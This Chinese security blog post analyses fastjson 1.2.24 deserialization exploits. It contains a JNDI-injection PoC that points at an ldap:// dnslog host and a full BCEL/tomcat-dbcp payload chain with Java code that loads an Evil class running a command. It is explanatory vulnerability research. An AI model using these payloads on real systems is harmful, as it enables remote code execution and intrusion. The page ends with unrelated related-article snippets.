fastjson-BCEL不出网打法原理分析

FastJson反序列化漏洞

与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。

fastjson用法:

1.将字符串转换为json格式,通过key获取value:

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红

这么简单好用的一个功能为什么会出现漏洞?

2.将JSON还原成对象:

class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
class User {
private String id;
User() {
System.out.println("User go");
}
public void setId(String ids) {
System.out.println("setId go");
this.id = ids;
}
public String getId() {
System.out.println("GetId go");
return this.id;
}
}
public class Fastjson {
public static void main(String[] args) {
User a = new User();
String json = JSON.toJSONString(a); //序列化 转为json
// System.out.println(json);
System.out.println(JSON.parseObject(json,User.class)); //反序列化 转为
原始数据
}
}

result:会自动调用 Get方法和构造方法。

图片

fastjson漏洞产生原因:

public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject =
JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
}
}

result:会自动调用Get,Set,构造方法。

图片

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {"@type":"Java_deserialization.User","id":"123"},其中@type后面跟进的就是我们所需要还原的对象 (可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成 反序列化漏洞。

fastjson什么时候会调用get方法

细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则

● 只存在 getter 方法,无 setter 方法。

● 方法名称长度大于等于4。

● 非静态方法。

● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。

● 方法无须入参。

● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。

fastjson1.2.24-JndI注入

Poc:

public class Fastjson {
public static void main(String[] args) {
System.out.println(JSON.parseObject("
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\"," +
"\"autoCommit\":\"true\"}"));
}
}

图片

根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码 就在set方法里面:

1.调用set方法dataSourceName:

图片

2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。

图片

会进入caonnect方法,危险方法就是这个connect:

3.connect方法:

图片

熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。

4.这里我们跟进lookup看看:

图片

5.getURLOrDefaultInitCtx方法:

图片

这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。

fastjson1.2.24-BCEL不出网打法

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。

复现环境

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下

POC:

{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。

分析:

正常使用BCEL:

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
//将文件转为字节码数组
public static byte[] fileToBinArray(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
//恶意类
package Java_deserialization;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个
loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入
的。

图片

代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看

图片

图片

可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。

图片

成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp:

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:

tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:

图片

getConnection()方法在返回的时候会调用createDataSource()方法:

图片

createDataSource()方法又会调用createConnectionFactory()方法,

图片

问题代码:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码:

ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:

图片

图片

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}

攻击链:

图片

换成正常POC测试:

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
String s = "
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":
\"$$BCEL$$" + code + "\",\"driverClassloader\":
{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/132377.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【快刊推荐】CCF-C类,2/3区SCIE,仅29天录用,16天见刊!

计算机领域 • 好刊推荐 01 期刊简介 影响因子&#xff1a;3.0-4.0 检索数据库&#xff1a;SCIE 在检 期刊分区&#xff1a;JCR2/3区&#xff0c;中科院4区 02 影响因子 影响因子呈现逐年稳步上升的趋势 03 期刊分区&#xff1a;JCR2/3区&#xff0c;中科院4区 04 预警…

webservice接口自动化测试

1&#xff0c;用soupui进行测试 2&#xff0c;安装soupUI 3&#xff0c;测试的时候是给了一个wdsl 操作步诹&#xff1a;new &#xff08;name , 填写地址&#xff09;---导入wsdl文件---看到所有的接口 发送请求的格式<xml> canshu</xml> 应用场景&#xff0c…

代码随想录算法训练营第六十二天 |503.下一个更大元素II、42. 接雨水

一、503.下一个更大元素II 题目链接/文章讲解&#xff1a;代码随想录 思考&#xff1a;关于单调栈的处理在题解739. 每日温度中已经出现过了&#xff0c;剩下的是如何处理循环数组 比较直白的方法是 将两个nums数组拼接在一起&#xff0c;使用单调栈计算出每一个元素的下一个最…

软件工程第六周

软件体系结构概述 体系结构&#xff1a;一种思想&#xff0c;而框架就是思想的实现&#xff0c;设计模式就是根据某一特殊问题实现的框架。 体系结构&#xff1a;体系结构是软件系统的高级结构。它定义了系统的主要组成部分&#xff0c;以及这些部分之间的关系和交互方式。 框…

Docker 容器应急

容器网络简单理解 容器拥有n多张veth网卡与一张docker0网卡 docker 五种网络 bridge 默认网络&#xff0c;Docker启动后创建一个docker0网桥&#xff0c;默认创建的容器也是添加到这个网桥中。host 容器不会获得一个独立的network namespace&#xff0c;而是与宿主机共用一个…

第55篇-某did滑块流程分析-滑动验证码【2023-10-12】

声明:该专栏涉及的所有案例均为学习使用,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!如有侵权,请私信联系本人删帖! 文章目录 一、前言二、滑块流程分析三、参数分析1.verifyParam参数分析2.c参数分析四、captchaToken激活五、流程整理一、前言 我…

offer

【录用通知书】 如何判断公司的好坏呢。 注意了&#xff0c;我们软件行业&#xff0c;技术管理类&#xff0c;技术类&#xff0c;产品类 好公司好企业基本都会给你说清楚&#xff0c;一项多少钱&#xff0c;加班多少钱&#xff0c;这样的 像这类公司的薪资结构复杂就要特别…

【MySQL】数据库排查慢查询、死锁进程排查、预防以及解决方法

MySQL数据库排查慢查询、死锁进程及解决方法 一、排查慢查询 1.1检查慢查询日志是否开启 1.1.1使用命令检查是否开启慢查询日志: SHOW VARIABLES LIKE slow_query_log;如果是 Value 为 off 则并未开启 1.1.2开启并且查看慢查询日志: MySQL提供了慢查询日志功能,可以记录所…

上证50期权开户条件有哪些呢?开户必看!

股市中&#xff0c;上证50期权确实是非常不错的交易工具&#xff0c;也是股市中最赚钱的方式&#xff0c;目前对资金门槛不够的朋友&#xff0c;可以通过分仓账户实现上证50期权开户零门槛可以及时参与上证50ETF期权交易。那么上证50期权开户条件有哪些呢?开户必看&#xff01…

three.js入门 ---- 相机控件OrbitControls

前言&#xff1a; 自用&#xff01;&#xff01;&#xff01; 文档中描述&#xff1a;OrbitControls本质上就是改变相机的参数&#xff0c;比如相机的位置属性&#xff0c;改变相机位置可以改变相机拍照场景中模型的角度&#xff0c;实现模型的360度旋转预览效果&#xff0c;改…

Python使用MySQL,无记录则插入,有记录则更新 - ON DUPLICATE KEY UPDATE

一、基本语法 ON DUPLICATE KEY UPDATE 语句基本功能是&#xff1a;当表中没有原来记录时&#xff0c;就插入&#xff0c;有的话就更新。 使用注意事项如下&#xff1a; ON DUPLICATE KEY UPDATE语句根据主键id或唯一键来判断当前插入是否已存在。记录已存在时&#xff0c;只…

膝关节检测之1设计目标手势与物体交互的动画

原来只用unity自带的IK&#xff0c;发现背部不能动&#xff0c;且手和手指的移动和旋转试了好像没法通过animation实现&#xff08;加入关键帧并修改最终状态的数值后播放没有变化&#xff0c;确定最终关键帧的数值已经改了的&#xff09;。看资料&#xff0c;发现final IK&…